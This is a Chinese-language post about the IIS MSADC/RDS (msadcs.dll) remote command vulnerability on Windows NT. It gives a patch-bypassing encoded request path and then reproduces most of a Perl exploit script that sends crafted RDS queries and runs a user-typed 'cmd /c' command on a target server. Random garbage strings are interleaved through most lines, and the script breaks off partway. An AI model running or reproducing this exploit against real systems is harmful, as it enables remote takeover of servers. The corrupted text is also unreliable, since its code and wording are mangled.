IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[8w2U%}] 5dk,!Cjg 涉及程序:
e{,/ Microsoft NT server
mI%/k7:sf $\
'\@3o 描述:
68*{Lo?U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
qg/5m;U qu%s 7+ 详细:
/["T#` 如果你没有时间读详细内容的话,就删除:
^d*>P|n*@e c:\Program Files\Common Files\System\Msadc\msadcs.dll
<GN?J.B 有关的安全问题就没有了。
De_</1Au!2 as4NvZ@+r 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
F?kVW[h?q @El<"\ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
O|~'-^ 关于利用ODBC远程漏洞的描述,请参看:
xJhbGK `,Gk1~Wv http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]N_^{k, 8.':pY'8" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
v3Yj2LSqx http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3XtGi<u YP,PJnJU8 这里不再论述。
t,,^^ll N3<Jh 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
b3lpNJ J P1n@E*~V5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
dk/*%a
+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
4#q JX)/ r.;iO0[/ ZZ*k3Ce #将下面这段保存为txt文件,然后: "perl -x 文件名"
}HorR2(`N #+0R!Y #!perl
>ULp! #
h$\hPLx # MSADC/RDS 'usage' (aka exploit) script
qGCg3u6 #
[udV } # by rain.forest.puppy
8zWPb #
nh)R # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)6^xIh # beta test and find errors!
rU@?v+i
3 H2;mqq use Socket; use Getopt::Std;
I >Q,]S1h getopts("e:vd:h:XR", \%args);
VYo;[ue([ dy?|Q33Y" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
XH$|DeAFM q&T'x> / if (!defined $args{h} && !defined $args{R}) {
f*}E\,V"& print qq~
CJ Usage: msadc.pl -h <host> { -d <delay> -X -v }
t}*!UixE -h <host> = host you want to scan (ip or domain)
(t$/G3E -d <seconds> = delay between calls, default 1 second
cV,Dl`1r -X = dump Index Server path table, if available
Po.BcytM -v = verbose
\r,.hUp -e = external dictionary file for step 5
$:II@= #9VY[< Or a -R will resume a command session
#/<Y!qV& 4 GW[GT ~; exit;}
g}QTZT8 I>Fh*2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
a&Du5(r;! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
XF$]KAL0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Tk&9Klo if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%nf=[f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
g8A{aHb1} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!13
/+ u u#k,G` if (!defined $args{R}){ $ret = &has_msadc;
AiK4t- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
BrMp_M | V,jd print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~j#6 goKn . "cmd /c ";
M|e
n>P $in=<STDIN>; chomp $in;
(Gc`3jJ $command="cmd /c " . $in ;
l zPS
RT luk2fi<$ if (defined $args{R}) {&load; exit;}
[Vp2!" s
FYJQ90it print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
14!a)Ijl &try_btcustmr;
9k[},MM @i-@mxk6< print "\nStep 2: Trying to make our own DSN...";
DeQ'U!?+N &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
1";e'?^x 6-14Htsk6 print "\nStep 3: Trying known DSNs...";
4Olv8nOe< &known_dsn;
aw%vu 6@;L$QYY-V print "\nStep 4: Trying known .mdbs...";
_|wY[YJ[ &known_mdb;
x~Ly$A2p Z)T@`B6
if (defined $args{e}){
?V:]u3 print "\nStep 5: Trying dictionary of DSN names...";
`+Z#*lj|@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
bK$D lBZ `yXx[deY print "Sorry Charley...maybe next time?\n";
dQ`ZrWd_U exit;
ieRBD6_ ;}jbdS3 ##############################################################################
tSc>@Q_| r9a!,^}F sub sendraw { # ripped and modded from whisker
&t|V:_?/x sleep($delay); # it's a DoS on the server! At least on mine...
AYu'ptDNr my ($pstr)=@_;
G^@Jgx3n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?WtG|w die("Socket problems\n");
zn;Hs]G if(connect(S,pack "SnA4x8",2,80,$target)){
$o$Ev@mi select(S); $|=1;
jsi#l print $pstr; my @in=<S>;
c$<O0dI select(STDOUT); close(S);
To{G#QEgG return @in;
xc<eU`-'b } else { die("Can't connect...\n"); }}
1S]gD&V IH5} Az ##############################################################################
:Z]hI+7 ~7 L)n sub make_header { # make the HTTP request
UEQ'D9 my $msadc=<<EOT
r]O@HVbt$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{e[pSD6 User-Agent: ACTIVEDATA
AH87UkNL Host: $ip
= *;Xc-_ Content-Length: $clen
w$[Ds Connection: Keep-Alive
mImbS)V ?"<r9S|[O ADCClientVersion:01.06
uC*:#[ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
^r$iN %&~ ""v`0OP&J --!ADM!ROX!YOUR!WORLD!
c]!D`FA*K Content-Type: application/x-varg
Q @OC = Content-Length: $reqlen
vV\F^ -,fa{ yt- EOT
5az
4N T ; $msadc=~s/\n/\r\n/g;
. (*kgv@3x return $msadc;}
H^PqYLjN _
kSPUP5 ##############################################################################
+V+*7s%fL r~G]2*3 sub make_req { # make the RDS request
h[ZN >T my ($switch, $p1, $p2)=@_;
A;WwS?fyQ my $req=""; my $t1, $t2, $query, $dsn;
&;h~JS= p1VahjRE- if ($switch==1){ # this is the btcustmr.mdb query
1s}NQ3 $query="Select * from Customers where City=" . make_shell();
CX ]\Q-y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2HK $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
kGuk
-P $sL|'ZMbS elsif ($switch==2){ # this is general make table query
q>|[JJ*6_N $query="create table AZZ (B int, C varchar(10))";
&A9A#It $dsn="$p1";}
#C,f/PXfaB bu"68A;> elsif ($switch==3){ # this is general exploit table query
ic0v*Y$ $query="select * from AZZ where C=" . make_shell();
IL>/PuZku $dsn="$p1";}
m~j\?mb{+ ~Riu*< elsif ($switch==4){ # attempt to hork file info from index server
01{r^ZT`RH $query="select path from scope()";
?y*+^E0 $dsn="Provider=MSIDXS;";}
6`4W, Y zBA{FE elsif ($switch==5){ # bad query
/@:up+$ $query="select";
nc\C4g $dsn="$p1";}
? __aVQ7 d7_ g
u $t1= make_unicode($query);
0n<(*bfW $t2= make_unicode($dsn);
N{hF [F $req = "\x02\x00\x03\x00";
*e-ptgO $req.= "\x08\x00" . pack ("S1", length($t1));
,y8I)+ $req.= "\x00\x00" . $t1 ;
<jRFN&"h} $req.= "\x08\x00" . pack ("S1", length($t2));
6mF{ImbRbS $req.= "\x00\x00" . $t2 ;
{r].SrW9s9 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
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